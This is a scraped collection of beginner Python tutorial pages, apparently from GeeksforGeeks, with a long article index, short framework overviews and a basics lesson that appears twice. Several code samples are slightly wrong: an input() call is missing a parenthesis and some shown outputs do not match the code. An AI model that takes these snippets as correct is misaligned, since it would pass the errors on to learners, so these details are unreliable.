Python Archive


Index


1. Machine Learning - GeeksforGeeks


2. Kivy Tutorial - GeeksforGeeks


3. Django Tutorial - GeeksforGeeks


4. OpenCV Python Tutorial - GeeksforGeeks


5. Introduction To PYTHON - GeeksforGeeks


6. Python 3 basics - GeeksforGeeks


7. Python – The new generation Language - GeeksforGeeks


8. Important differences between Python 2.x and Python 3.x with examples - GeeksforGeeks


9. Python Keywords - GeeksforGeeks


10. Keywords in Python | Set 2 - GeeksforGeeks


11. Namespaces and Scope in Python - GeeksforGeeks


12. Statement, Indentation and Comment in Python - GeeksforGeeks


13. Structuring Python Programs - GeeksforGeeks


14. How to check if a string is a valid keyword in Python? - GeeksforGeeks


15. How to assign values to variables in Python and other languages - GeeksforGeeks


16. How to print without newline in Python? - GeeksforGeeks


17. Python if else - GeeksforGeeks


18. Basic calculator program using Python - GeeksforGeeks


19. Python Language advantages and applications - GeeksforGeeks


20. Taking input in Python - GeeksforGeeks


21. Input and Output - GeeksforGeeks


22. Taking multiple inputs from user in Python - GeeksforGeeks


23. Python Input Methods for Competitive Programming - GeeksforGeeks


24. Vulnerability in input() function – Python 2.x - GeeksforGeeks


25. Python | Output using print() function - GeeksforGeeks


26. How to print without newline in Python? - GeeksforGeeks


27. Python end parameter in print() - GeeksforGeeks


28. Python | sep parameter in print() - GeeksforGeeks


29. Python | Output Formatting - GeeksforGeeks


30. Python | Set 3 (Strings, Lists, Tuples, Iterations) - GeeksforGeeks


31. Python String - GeeksforGeeks


32. Python Lists - GeeksforGeeks


33. Python Tuples - GeeksforGeeks


34. Python Sets - GeeksforGeeks


35. Python Dictionary - GeeksforGeeks


36. Python Arrays - GeeksforGeeks


37. Python | Set 2 (Variables, Expressions, Conditions and Functions) - GeeksforGeeks


38. What is the maximum possible value of an integer in Python ? - GeeksforGeeks


39. Global and Local Variables in Python - GeeksforGeeks


40. Packing and Unpacking Arguments in Python - GeeksforGeeks


41. Type Conversion in Python - GeeksforGeeks


42. Byte Objects vs String in Python - GeeksforGeeks


43. Print Single and Multiple variable in Python - GeeksforGeeks


44. Swap Two Variables in One Line - GeeksforGeeks


45. Private Variables in Python - GeeksforGeeks


46. __name__ (A Special variable) in Python - GeeksforGeeks


47. Python Operators - GeeksforGeeks


48. G-Fact 19 (Logical and Bitwise Not Operators on Boolean) - GeeksforGeeks


49. Ternary Operator in Python - GeeksforGeeks


50. Division Operators in Python - GeeksforGeeks


51. Operator Overloading in Python - GeeksforGeeks


52. Any All in Python - GeeksforGeeks


53. Inplace vs Standard Operators in Python - GeeksforGeeks


54. Operator Functions in Python | Set 1 - GeeksforGeeks


55. Inplace Operators in Python | Set 1 (iadd(), isub(), iconcat()...) - GeeksforGeeks


56. Logic Gates in Python - GeeksforGeeks


57. Python | a += b is not always a = a + b - GeeksforGeeks


58. Difference between == and is operator in Python - GeeksforGeeks


59. Python Membership and Identity Operators - GeeksforGeeks


60. loops in python - GeeksforGeeks


61. Loops and Control Statements (continue, break and pass) in Python - GeeksforGeeks


62. Looping Techniques in Python - GeeksforGeeks


63. range() vs xrange() in Python - GeeksforGeeks


64. Programs for printing pyramid patterns in Python - GeeksforGeeks


65. Chaining comparison operators in Python - GeeksforGeeks


66. Using else conditional statement with for loop in python - GeeksforGeeks


67. Switch Case in Python (Replacement) - GeeksforGeeks


68. Using Iterations in Python Effectively - GeeksforGeeks


69. Python Itertools - GeeksforGeeks


70. Python __iter__() and __next__() | Converting an object into an iterator - GeeksforGeeks


71. Python | Difference between iterable and iterator - GeeksforGeeks


72. Generators in Python - GeeksforGeeks


73. Python | Generator Expressions - GeeksforGeeks


74. Python Functions - GeeksforGeeks


75. Class method vs Static method in Python - GeeksforGeeks


76. How to write an empty function in Python - pass statement? - GeeksforGeeks


77. When to use yield instead of return in Python? - GeeksforGeeks


78. Returning Multiple Values in Python - GeeksforGeeks


79. Partial Functions in Python - GeeksforGeeks


80. First Class functions in Python - GeeksforGeeks


81. Precision Handling in Python - GeeksforGeeks


82. *args and **kwargs in Python - GeeksforGeeks


83. Python Closures - GeeksforGeeks


84. Function Decorators in Python | Set 1 (Introduction) - GeeksforGeeks


85. Decorators in Python - GeeksforGeeks


86. Decorators with parameters in Python - GeeksforGeeks


87. Memoization using decorators in Python - GeeksforGeeks


88. Help function in Python - GeeksforGeeks


89. Python | __import__() function - GeeksforGeeks


90. Python | range() does not return an iterator - GeeksforGeeks


91. Coroutine in Python - GeeksforGeeks


92. Python bit functions on int (bit_length, to_bytes and from_bytes) - GeeksforGeeks


93. Python3 Intermediate Level Topics - GeeksforGeeks


94. Python OOPs Concepts - GeeksforGeeks


95. Object Oriented Programming in Python | Set 2 (Data Hiding and Object Printing) - GeeksforGeeks


96. OOP in Python | Set 3 (Inheritance, examples of object, issubclass and super) - GeeksforGeeks


97. Polymorphism in Python - GeeksforGeeks


98. Class or Static Variables in Python - GeeksforGeeks


99. Class method vs Static method in Python - GeeksforGeeks


100. Changing Class Members in Python - GeeksforGeeks


101. Constructors in Python - GeeksforGeeks


102. Destructors in Python - GeeksforGeeks


103. First Class functions in Python - GeeksforGeeks


104. Metaprogramming with Metaclasses in Python - GeeksforGeeks


105. Class and Instance Attributes in Python - GeeksforGeeks


106. reflection in Python - GeeksforGeeks


107. Garbage Collection in Python - GeeksforGeeks


108. Python Exception Handling - GeeksforGeeks


109. User-defined Exceptions in Python with Examples - GeeksforGeeks


110. Built-in Exceptions in Python - GeeksforGeeks


111. Defining Clean Up Actions in Python - GeeksforGeeks


112. NZEC error in Python - GeeksforGeeks


113. Python Try Except - GeeksforGeeks


114. Counters in Python | Set 1 (Initialization and Updation) - GeeksforGeeks


115. OrderedDict in Python - GeeksforGeeks


116. Defaultdict in Python - GeeksforGeeks


117. ChainMap in Python - GeeksforGeeks


118. Namedtuple in Python - GeeksforGeeks


119. Deque in Python - GeeksforGeeks


120. Heap queue (or heapq) in Python - GeeksforGeeks


121. Collections.UserDict in Python - GeeksforGeeks


122. Collections.UserList in Python - GeeksforGeeks


123. Collections.UserString in Python - GeeksforGeeks


124. Django Tutorial - GeeksforGeeks


125. Django Basics - GeeksforGeeks


126. Django Introduction and Installation - GeeksforGeeks


127. Django Forms - GeeksforGeeks


128. Views In Django | Python - GeeksforGeeks


129. Django Models - GeeksforGeeks


130. Django Templates - GeeksforGeeks


131. Python | ToDo webapp using Django - GeeksforGeeks


132. Python | Django News App - GeeksforGeeks


133. Weather app using Django | Python - GeeksforGeeks


134. Python - Data visualization using Bokeh - GeeksforGeeks


135. Exploratory Data Analysis in Python - GeeksforGeeks


136. Data visualization with different Charts in Python - GeeksforGeeks


137. Data analysis and Visualization with Python - GeeksforGeeks


138. Data Analysis and Visualization with Python | Set 2 - GeeksforGeeks


139. Python | Math operations for Data analysis - GeeksforGeeks


140. Getting started with Jupyter Notebook | Python - GeeksforGeeks


141. Python Numpy - GeeksforGeeks


142. Numpy | ndarray - GeeksforGeeks


143. Numpy | Array Creation - GeeksforGeeks


144. Numpy | Data Type Objects - GeeksforGeeks


145. Data type Object (dtype) in NumPy Python - GeeksforGeeks


146. Numpy | Indexing - GeeksforGeeks


147. Basic Slicing and Advanced Indexing in NumPy Python - GeeksforGeeks


148. Numpy | Iterating Over Array - GeeksforGeeks


149. Numpy | Binary Operations - GeeksforGeeks


150. Numpy | Linear Algebra - GeeksforGeeks


151. Numpy | Sorting, Searching and Counting - GeeksforGeeks


152. Pandas Tutorial - GeeksforGeeks


153. Python | Pandas DataFrame - GeeksforGeeks


154. Creating a Pandas DataFrame - GeeksforGeeks


155. Dealing with Rows and Columns in Pandas DataFrame - GeeksforGeeks


156. Indexing and Selecting Data with Pandas - GeeksforGeeks


157. Boolean Indexing in Pandas - GeeksforGeeks


158. Conversion Functions in Pandas DataFrame - GeeksforGeeks


159. Iterating over rows and columns in Pandas DataFrame - GeeksforGeeks


160. Working with Missing Data in Pandas - GeeksforGeeks


161. Python | Pandas Series - GeeksforGeeks


162. Data analysis using Pandas - GeeksforGeeks


163. Python | Read csv using pandas.read_csv() - GeeksforGeeks


164. Machine Learning - GeeksforGeeks


165. Linear Regression (Python Implementation) - GeeksforGeeks


166. Understanding Logistic Regression - GeeksforGeeks


167. K means Clustering - Introduction - GeeksforGeeks


168. Python | Image Classification using Keras - GeeksforGeeks


169. Creating a simple machine learning model - GeeksforGeeks


170. Python | Implementation of Movie Recommender System - GeeksforGeeks


171. ML | Boston Housing Kaggle Challenge with Linear Regression - GeeksforGeeks


172. ML | Cancer cell classification using Scikit-learn - GeeksforGeeks


173. Saving a machine learning Model - GeeksforGeeks


174. Applying Convolutional Neural Network on mnist dataset - GeeksforGeeks


175. Python | NLP analysis of Restaurant reviews - GeeksforGeeks


176. Learning Model Building in Scikit-learn : A Python Machine Learning Library - GeeksforGeeks


177. Implementing Artificial Neural Network training process in Python - GeeksforGeeks


178. A single neuron neural network in Python - GeeksforGeeks


179. Python | How and where to apply Feature Scaling? - GeeksforGeeks


180. Identifying handwritten digits using Logistic Regression in PyTorch - GeeksforGeeks


181. Python Tkinter Tutorial - GeeksforGeeks


182. Kivy Tutorial - GeeksforGeeks


183. Python GUI - tkinter - GeeksforGeeks


184. Python | Simple GUI calculator using Tkinter - GeeksforGeeks


185. Simple registration form using Python Tkinter - GeeksforGeeks


186. Create a stopwatch using python - GeeksforGeeks


187. Designing GUI applications Using PyQt in Python - GeeksforGeeks


188. Color game using Tkinter in Python - GeeksforGeeks


189. Make Notepad using Tkinter - GeeksforGeeks


190. Python | Message Encode-Decode using Tkinter - GeeksforGeeks


191. Python | Real time currency convertor using Tkinter - GeeksforGeeks


192. Python Modules - GeeksforGeeks


193. OS Module in Python with Examples - GeeksforGeeks


194. Python | Calendar Module - GeeksforGeeks


195. Python Urllib Module - GeeksforGeeks


196. pprint : Data pretty printer in Python - GeeksforGeeks


197. Timeit in Python with Examples - GeeksforGeeks


198. Import module in Python - GeeksforGeeks


199. MongoDB and Python - GeeksforGeeks


200. SQL using Python - GeeksforGeeks


201. SQL using Python and SQLite | Set 2 - GeeksforGeeks


202. SQL using Python | Set 3 (Handling large data) - GeeksforGeeks


203. Inserting variables to database table using Python - GeeksforGeeks


204. MYSQLdb Connection in Python - GeeksforGeeks


205. Python | Database management in PostgreSQL - GeeksforGeeks


206. Oracle Database Connection in Python - GeeksforGeeks


207. 10 Essential Python Tips And Tricks For Programmers - GeeksforGeeks


208. Amazing hacks of Python - GeeksforGeeks


209. Python Input Methods for Competitive Programming - GeeksforGeeks


210. Optimization Tips for Python Code - GeeksforGeeks


211. Why import star in Python is a bad idea - GeeksforGeeks


212. Why is python best suited for Competitive Coding? - GeeksforGeeks


213. Python Tricks for Competitive Coding - GeeksforGeeks


214. Python program to crawl a web page and get most frequent words - GeeksforGeeks


215. Facebook Login using Python - GeeksforGeeks


216. Send message to FB friend using Python - GeeksforGeeks


217. Creating a C/C++ Code Formatting tool with help of Clang tools - GeeksforGeeks


218. Querying Live running status and PNR of trains using Railway API in Python - GeeksforGeeks


219. Fetching top news using News API - GeeksforGeeks


220. Fetching text from Wikipedia's Infobox in Python - GeeksforGeeks


221. Get emotions of images using Microsoft emotion API in Python - GeeksforGeeks


222. Website Blocker Using Python - GeeksforGeeks


223. Send SMS updates to mobile phone using python - GeeksforGeeks


224. Python Desktop News Notifier in 20 lines - GeeksforGeeks


225. Morse Code Translator In Python - GeeksforGeeks


226. Performing Google Search using Python code - GeeksforGeeks


227. Reading and Generating QR codes in Python using QRtools - GeeksforGeeks


228. Birthday Reminder Application in Python - GeeksforGeeks


229. Program to display Astrological sign or Zodiac sign for given date of birth - GeeksforGeeks


230. Tracking bird migration using Python-3 - GeeksforGeeks


231. Python Desktop News Notifier in 20 lines - GeeksforGeeks


232. Whatsapp using Python!


233. Python | Automating Happy Birthday post on Facebook using Selenium - GeeksforGeeks


234. Design a Keylogger in Python - GeeksforGeeks


235. Python | Implementation of Movie Recommender System - GeeksforGeeks


236. Learn Python Tutorial - GeeksforGeeks


237. Machine Learning - GeeksforGeeks


238. Django Tutorial - GeeksforGeeks


239. Pandas Tutorial - GeeksforGeeks


240. OpenCV Python Tutorial - GeeksforGeeks


241. Selenium Python Tutorial - GeeksforGeeks


242. Python Tkinter Tutorial - GeeksforGeeks



Machine Learning

  • Last Updated : 30 May, 2022

 
Machine Learning is the field of study that gives computers the capability to learn without being explicitly programmed. ML is one of the most exciting technologies that one would have ever come across. As it is evident from the name, it gives the computer that makes it more similar to humans: The ability to learn. Machine learning is actively being used today, perhaps in many more places than one would expect.

Machine Learning tutorial

Recent Articles on Machine Learning

Related Courses:

Machine Learning is an essential skill for any aspiring data analyst and data scientist, and also for those who wish to transform a massive amount of raw data into trends and predictions. Learn this skill today with Machine Learning Foundation – Self Paced Course , designed and curated by industry experts having years of expertise in ML and industry-based projects.

 

Introduction :

Data and It’s Processing:

Supervised learning :

  1. Getting started with Classification
  2. Basic Concept of Classification
  3. Types of Regression Techniques
  4. Classification vs Regression
  5. ML | Types of Learning – Supervised Learning
  6. Multiclass classification using scikit-learn
  7. Python | Implementation of Polynomial Regression
  8. Softmax Regression using TensorFlow
  9. Naive Bayes Classifiers

Unsupervised learning :

Reinforcement Learning:

Dimensionality Reduction :

Natural Language Processing :

Neural Networks :

ML – Deployment :

ML – Applications :

Misc :

GeeksforGeeks Courses

Machine Learning Foundation

Machines are learning, so why do you wish to get left behind? Strengthen your ML and AI foundations today and become future ready. This self-paced course will help you learn advanced concepts like- Regression, Classification, Data Dimensionality and much more. Also included- Projects that will help you get hands-on experience. So wait no more, and strengthen your Machine Learning Foundations.

Data Science Live Course

Every organisation now relies on data before making any important decisions regarding their future. So, it is safe to say that Data is really the king now. So why do you want to get left behind? This LIVE course will introduce the learner to advanced concepts like: Linear Regression, Naive Bayes & KNN, Numpy, Pandas, Matlab & much more. You will also get to work on real-life projects through the course. So wait no more, Become a Data Science Expert now.


My Personal Notes arrow_drop_up

Kivy Tutorial

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 21 Jul, 2021

Kivy is a graphical user interface opensource Python library that allows you to develop multi-platform applications on Windows, macOS, Android, iOS, Linux, and Raspberry-Pi. In addition to the regular mouse and keyboard inputs, it also supports multitouch events. The applications made using Kivy will similar across all the platforms but it also means that the applications fell or look will differ from any native application.

Kivy-Tutorials

Table Of Content –

Recent Articles on Kivy !!

Getting Started

Widgets

Buttons

Layouts

The kv Design Language (.kv file tutorial)

Widgets

Buttons

Layouts

Applications and Projects

 


My Personal Notes arrow_drop_up

Django Tutorial

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 30 May, 2022

Django is a Python-based web framework that allows you to quickly create efficient web applications. It is also called batteries included framework because Django provides built-in features for everything including Django Admin Interface, default database – SQLlite3, etc. When you’re building a website, you always need a similar set of components: a way to handle user authentication (signing up, signing in, signing out), a management panel for your website, forms, a way to upload files, etc. Django gives you ready-made components to use and that too for rapid development.

django-tutorial

Why Django Framework ?

Recent Articles on Django !!

Django Basics

Django Forms

Django Templates

Misc

Django Views

 
 
 


My Personal Notes arrow_drop_up

OpenCV Python Tutorial

Improve Article
Save Article
Like Article
  • Difficulty Level : Hard
  • Last Updated : 28 Mar, 2021

OpenCV is a huge open-source library for computer vision, machine learning, and image processing. OpenCV supports a wide variety of programming languages like Python, C++, Java, etc. It can process images and videos to identify objects, faces, or even the handwriting of a human. When it is integrated with various libraries, such as Numpy which is a highly optimized library for numerical operations, then the number of weapons increases in your Arsenal i.e whatever operations one can do in Numpy can be combined with OpenCV.

This OpenCV tutorial will help you learn the Image-processing from Basics to Advance, like operations on Images, Videos using a huge set of Opencv-programs and projects.
OpenCV-tutorial-python

Table Of Content:

Recent Articles on OpenCV !!

 

Getting Started

Working with Images

Getting Started

Image Processing

Feature Detection and Description

Drawing Functions

Working with Videos

Getting Started

Video Processing

Applications and Projects

 


My Personal Notes arrow_drop_up

Introduction To PYTHON

Improve Article
Save Article
Like Article
  • Difficulty Level : Basic
  • Last Updated : 19 May, 2022

Python is a widely used general-purpose, high level programming language. It was created by Guido van Rossum in 1991 and further developed by the Python Software Foundation. It was designed with an emphasis on code readability, and its syntax allows programmers to express their concepts in fewer lines of code.

Python is a programming language that lets you work quickly and integrate systems more efficiently.

There are two major Python versions: Python 2 and Python 3. Both are quite different.

Beginning with Python programming:

1) Finding an Interpreter:

Before we start Python programming, we need to have an interpreter to interpret and run our programs. There are certain online interpreters like https://ide.geeksforgeeks.org/ that can be used to run Python programs without installing an interpreter.

Windows: There are many interpreters available freely to run Python scripts like IDLE (Integrated Development Environment) that comes bundled with the Python software downloaded from http://python.org/.

Linux: Python comes preinstalled with popular Linux distros such as Ubuntu and Fedora. To check which version of Python you’re running, type “python” in the terminal emulator. The interpreter should start and print the version number.

macOS: Generally, Python 2.7 comes bundled with macOS. You’ll have to manually install Python 3 from http://python.org/.

2) Writing our first program:

Just type in the following code after you start the interpreter.




# Script Begins
  
print("GeeksQuiz")
  
# Scripts Ends

Output:

GeeksQuiz

Let’s analyze the script line by line.

Line 1: [# Script Begins] In Python, comments begin with a #. This statement is ignored by the interpreter and serves as documentation for our code.

Line 2: [print(“GeeksQuiz”)] To print something on the console, print() function is used. This function also adds a newline after our message is printed(unlike in C). Note that in Python 2, “print” is not a function but a keyword and therefore can be used without parentheses. However, in Python 3, it is a function and must be invoked with parentheses.

Line 3: [# Script Ends] This is just another comment like in Line 1.

Python designed by Guido van Rossum at CWI has become a widely used general-purpose, high-level programming language.

Prerequisites:

Knowledge of any programming language can be a plus.

Reason for increasing popularity

  1. Emphasis on code readability, shorter codes, ease of writing
  2. Programmers can express logical concepts in fewer lines of code in comparison to languages such as C++ or Java.
  3. Python supports multiple programming paradigms, like object-oriented, imperative and functional programming or procedural.
  4. There exists inbuilt functions for almost all of the frequently used concepts.
  5. Philosophy is “Simplicity is the best”.

LANGUAGE FEATURES

Python vs JAVA

PythonJava
Dynamically Typed1.No need to declare anything. An assignment statement binds a name to an object, and the object can be of any type.2.No type casting required when using container objectsStatically Typed 1.All variable names (along with their types) must be explicitly declared. Attempting to assign an object of the wrong type to a variable name triggers a type exception.2.Type casting is required when using container objects.
Concise Express much in limited wordsVerboseContains more words
CompactLess Compact
Uses Indentation for structuring codeUses braces for structuring code

The classical Hello World program illustrating the relative verbosity of a Java Program and Python Program
Java Code




public class HelloWorld
{
   public static void main (String[] args)
   {
      System.out.println("Hello, world!");
   }
}

Python Code




print("Hello, world!")

Similarity with Java

LOOK and FEEL of the Python

GUI

2

Command Line interface

3

Softwares making use of Python

Python has been successfully embedded in a number of software products as a scripting language.

  1. GNU Debugger uses Python as a pretty printer to show complex structures such as C++ containers.
  2. Python has also been used in artificial intelligence
  3. Python is often used for natural language processing tasks.

Current Applications of Python

  1. A number of Linux distributions use installers written in Python example in Ubuntu we have the Ubiquity
  2. Python has seen extensive use in the information security industry, including in exploit development.
  3. Raspberry Pi– single board computer uses Python as its principal user-programming language.
  4. Python is now being used Game Development areas also.

Pros:

  1. Ease of use
  2. Multi-paradigm Approach

Cons:

  1. Slow speed of execution compared to C,C++
  2. Absence from mobile computing and browsers
  3. For the C,C++ programmers switching to python can be irritating as the language requires proper indentation of code. Certain variable names commonly used like sum are functions in python. So C, C++ programmers have to look out for these.

Industrial Importance

Most of the companies are now looking for candidates who know about Python Programming. Those having the knowledge of python may have more chances of impressing the interviewing panel. So I would suggest that beginners should start learning python and excel in it.

Python is a high-level, interpreted, and general-purpose dynamic programming language that focuses on code readability. It has fewer steps when compared to Java and C. It was founded in 1991 by developer Guido Van Rossum. Python ranks among the most popular and fastest-growing languages in the world. Python is a powerful, flexible, and easy-to-use language. In addition, the community is very active there. It is used in many organizations as it supports multiple programming paradigms. It also performs automatic memory management.
 

Advantages : 

  1. Presence of third-party modules 
  2. Extensive support libraries(NumPy for numerical calculations, Pandas for data analytics etc) 
  3. Open source and community development 
  4. Versatile, Easy to read, learn and write
  5. User-friendly data structures 
  6. High-level language 
  7. Dynamically typed language(No need to mention data type based on the value assigned, it takes data type) 
  8. Object-oriented language 
  9. Portable and Interactive
  10. Ideal for prototypes – provide more functionality with less coding
  11. Highly Efficient(Python’s clean object-oriented design provides enhanced process control, and the language is equipped with excellent text processing and integration capabilities, as well as its own unit testing framework, which makes it more efficient.)
  12. (IoT)Internet of Things Opportunities
  13. Interpreted Language
  14. Portable across Operating systems 

 

Applications : 

  1. GUI based desktop applications
  2. Graphic design, image processing applications, Games, and Scientific/ computational Applications
  3. Web frameworks and applications 
  4.  Enterprise and Business applications 
  5.  Operating Systems 
  6. Education
  7. Database Access
  8. Language Development 
  9.  Prototyping 
  10. Software Development
     

Organizations using Python : 

  1. Google(Components of Google spider and Search Engine) 
  2. Yahoo(Maps) 
  3. YouTube 
  4. Mozilla 
  5. Dropbox 
  6. Microsoft 
  7. Cisco 
  8. Spotify 
  9. Quora 

     

So before moving on further.. let’s do the most popular ‘HelloWorld’ tradition 😛 and hence compare Python’s Syntax with C, C++, Java ( I have taken these 3 because they are most famous and mostly used languages).




# Python code for "Hello World"
# nothing else to type...see how simple is the syntax.
  
print("Hello World")      

Note: Please note that Python for its scope doesn’t depend on the braces ( { } ), instead it uses indentation for its scope.
Now moving on further Lets start our basics of Python . I will be covering the basics in some small sections. Just go through them and trust me you’ll learn the basics of Python very easily.

Introduction and Setup

  1. If you are on Windows OS download Python by Clicking here and now install from the setup and in the start menu type IDLE.IDLE, you can think it as an Python’s IDE to run the Python Scripts.

    It will look somehow this :

  2. If you are on Linux/Unix-like just open the terminal and on 99% linux OS Python comes preinstalled with the OS.Just type ‘python3’ in terminal and you are ready to go.
    It will look like this :

    The ” >>> ” represents the python shell and its ready to take python commands and code.

    Variables and Data Structures

    In other programming languages like C, C++, and Java, you will need to declare the type of variables but in Python you don’t need to do that. Just type in the variable and when values will be given to it, then it will automatically know whether the value given would be an int, float, or char or even a String.




    # Python program to declare variables
    myNumber = 3
    print(myNumber)
      
    myNumber2 = 4.5
    print(myNumber2)
      
    myNumber ="helloworld"
    print(myNumber)

    Output:

    3
    4.5
    helloworld
    

    See, how simple is it, just create a variable and assign it any value you want and then use the print function to print it. Python have 4 types of built in Data Structures namely List, Dictionary, Tuple and Set.

    List is the most basic Data Structure in python. List is a mutable data structure i.e items can be added to list later after the list creation. It’s like you are going to shop at the local market and made a list of some items and later on you can add more and more items to the list.
    append() function is used to add data to the list.




    # Python program to illustrate a list 
      
    # creates a empty list
    nums = [] 
      
    # appending data in list
    nums.append(21)
    nums.append(40.5)
    nums.append("String")
      
    print(nums)

    Output:

    [21, 40.5, String]

    Comments:

    # is used for single line comment in Python
    """ this is a comment """ is used for multi line comments

    Input and Output

    In this section, we will learn how to take input from the user and hence manipulate it or simply display it. input() function is used to take input from the user.




    # Python program to illustrate
    # getting input from user
    name = input("Enter your name: "
      
    # user entered the name 'harssh'
    print("hello", name)

    Output:

    hello harssh   




    # Python3 program to get input from user
      
    # accepting integer from the user
    # the return type of input() function is string ,
    # so we need to convert the input to integer
    num1 = int(input("Enter num1: "))
    num2 = int(input("Enter num2: "))
      
    num3 = num1 * num2
    print("Product is: ", num3)

    Output:

    Enter num1: 8 Enter num2: 6 ('Product is: ', 48)
    

    Selection

    Selection in Python is made using the two keywords ‘if’ and ‘elif’ and else (elseif)




    # Python program to illustrate
    # selection statement
      
    num1 = 34
    if(num1>12):
        print("Num1 is good")
    elif(num1>35):
        print("Num2 is not gooooo....")
    else:
        print("Num2 is great")

    Output:

    Num1 is good

    Functions

    You can think of functions like a bunch of code that is intended to do a particular task in the whole Python script. Python used the keyword ‘def’ to define a function.
    Syntax:

    def function-name(arguments):
                #function body




    # Python program to illustrate
    # functions
    def hello():
        print("hello")
        print("hello again")
    hello()
      
    # calling function
    hello()               

    Output:

    hello
    hello again
    hello
    hello again
    

    Now as we know any program starts from a ‘main’ function…lets create a main function like in many other programming languages.




    # Python program to illustrate 
    # function with main
    def getInteger():
        result = int(input("Enter integer: "))
        return result
      
    def Main():
        print("Started")
      
        # calling the getInteger function and 
        # storing its returned value in the output variable
        output = getInteger()     
        print(output)
      
    # now we are required to tell Python 
    # for 'Main' function existence
    if __name__=="__main__":
        Main()

    Output:

    Started
    Enter integer: 5
    

    Iteration (Looping)

    As the name suggests it calls repeating things again and again. We will use the most popular ‘for’ loop here.




    # Python program to illustrate
    # a simple for loop
      
    for step in range(5):    
        print(step)

    Output:

    0
    1
    2
    3
    4
    

    Modules

    Python has a very rich module library that has several functions to do many tasks. You can read more about Python’s standard library by Clicking here
    ‘import’ keyword is used to import a particular module into your python code. For instance consider the following program.




    # Python program to illustrate
    # math module
    import math
      
    def Main():
        num = -85
      
        # fabs is used to get the absolute 
        # value of a decimal
        num = math.fabs(num) 
        print(num)
          
          
    if __name__=="__main__":
        Main()

    Output:

    85.0

    Related Courses

    Python Programming Foundation -Self Paced Course

    New to the programming world, don’t know where to start? Start with beginner-friendly Python Programming Foundation -Self Paced Course designed for absolute beginners who wish to kickstart and build their foundations in Python programming language. Learn Python basics, Variables & Data types, Operators etc and learn how to solve coding problems efficiently in Python. Don’t wait, sign up now and kickstart your Python journey today.

    DS Using Python Programming – Self Paced Course

    If you’re curious to upgrade your Python skills, you’ve come to the right platform! In this DS Using Python Programming – Self Paced Course, designed for Python enthusiasts where you’ll be guided by the leading industry experts who will explain in-depth, and efficient methods to implement data structures such as heaps, stacks, and linked lists etc. So, what are you waiting for? Advance your Python skills today.


    My Personal Notes arrow_drop_up

Python 3 basics

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 06 May, 2022

Python was developed by Guido van Rossum in the early 1990s and its latest version is 3.10.4, we can simply call it as Python3. Python 3.0 was released in 2008. and is interpreted language i.e it’s not compiled and the interpreter will check the code line by line. This article can used to learn very basics of Python programming language.

So before moving on further.. let’s do the most popular ‘HelloWorld’ tradition 😛 and hence compare Python’s Syntax with C, C++, Java ( I have taken these 3 because they are most famous and mostly used languages).




# Python code for "Hello World"
# nothing else to type...see how simple is the syntax.
  
print("Hello World")      

Note: Please note that Python for its scope doesn’t depend on the braces ( { } ), instead it uses indentation for its scope.
Now moving on further Lets start our basics of Python . I will be covering the basics in some small sections. Just go through them and trust me you’ll learn the basics of Python very easily.

Introduction and Setup

  1. If you are on Windows OS download Python by Clicking here and now install from the setup and in the start menu type IDLE.IDLE, you can think it as an Python’s IDE to run the Python Scripts.

    It will look somehow this :

  2. If you are on Linux/Unix-like just open the terminal and on 99% linux OS Python comes preinstalled with the OS.Just type ‘python3’ in terminal and you are ready to go.
    It will look like this :

    The ” >>> ” represents the python shell and its ready to take python commands and code.

    Variables and Data Structures

    In other programming languages like C, C++, and Java, you will need to declare the type of variables but in Python you don’t need to do that. Just type in the variable and when values will be given to it, then it will automatically know whether the value given would be an int, float, or char or even a String.




    # Python program to declare variables
    myNumber = 3
    print(myNumber)
      
    myNumber2 = 4.5
    print(myNumber2)
      
    myNumber ="helloworld"
    print(myNumber)

    Output:

    3
    4.5
    helloworld
    

    See, how simple is it, just create a variable and assign it any value you want and then use the print function to print it. Python have 4 types of built in Data Structures namely List, Dictionary, Tuple and Set.

    List is the most basic Data Structure in python. List is a mutable data structure i.e items can be added to list later after the list creation. It’s like you are going to shop at the local market and made a list of some items and later on you can add more and more items to the list.
    append() function is used to add data to the list.




    # Python program to illustrate a list 
      
    # creates a empty list
    nums = [] 
      
    # appending data in list
    nums.append(21)
    nums.append(40.5)
    nums.append("String")
      
    print(nums)

    Output:

    [21, 40.5, String]

    Comments:

    # is used for single line comment in Python
    """ this is a comment """ is used for multi line comments

    Input and Output

    In this section, we will learn how to take input from the user and hence manipulate it or simply display it. input() function is used to take input from the user.




    # Python program to illustrate
    # getting input from user
    name = input("Enter your name: "
      
    # user entered the name 'harssh'
    print("hello", name)

    Output:

    hello harssh   




    # Python3 program to get input from user
      
    # accepting integer from the user
    # the return type of input() function is string ,
    # so we need to convert the input to integer
    num1 = int(input("Enter num1: "))
    num2 = int(input("Enter num2: "))
      
    num3 = num1 * num2
    print("Product is: ", num3)

    Output:

    Enter num1: 8 Enter num2: 6 ('Product is: ', 48)
    

    Selection

    Selection in Python is made using the two keywords ‘if’ and ‘elif’ and else (elseif)




    # Python program to illustrate
    # selection statement
      
    num1 = 34
    if(num1>12):
        print("Num1 is good")
    elif(num1>35):
        print("Num2 is not gooooo....")
    else:
        print("Num2 is great")

    Output:

    Num1 is good

    Functions

    You can think of functions like a bunch of code that is intended to do a particular task in the whole Python script. Python used the keyword ‘def’ to define a function.
    Syntax:

    def function-name(arguments):
                #function body




    # Python program to illustrate
    # functions
    def hello():
        print("hello")
        print("hello again")
    hello()
      
    # calling function
    hello()               

    Output:

    hello
    hello again
    hello
    hello again
    

    Now as we know any program starts from a ‘main’ function…lets create a main function like in many other programming languages.




    # Python program to illustrate 
    # function with main
    def getInteger():
        result = int(input("Enter integer: "))
        return result
      
    def Main():
        print("Started")
      
        # calling the getInteger function and 
        # storing its returned value in the output variable
        output = getInteger()     
        print(output)
      
    # now we are required to tell Python 
    # for 'Main' function existence
    if __name__=="__main__":
        Main()

    Output:

    Started
    Enter integer: 5
    

    Iteration (Looping)

    As the name suggests it calls repeating things again and again. We will use the most popular ‘for’ loop here.




    # Python program to illustrate
    # a simple for loop
      
    for step in range(5):    
        print(step)

    Output:

    0
    1
    2
    3
    4
    

    Modules

    Python has a very rich module library that has several functions to do many tasks. You can read more about Python’s standard library by Clicking here
    ‘import’ keyword is used to import a particular module into your python code. For instance consider the following program.




    # Python program to illustrate
    # math module
    import math
      
    def Main():
        num = -85
      
        # fabs is used to get the absolute 
        # value of a decimal
        num = math.fabs(num) 
        print(num)
          
          
    if __name__=="__main__":
        Main()

    Output:

    85.0

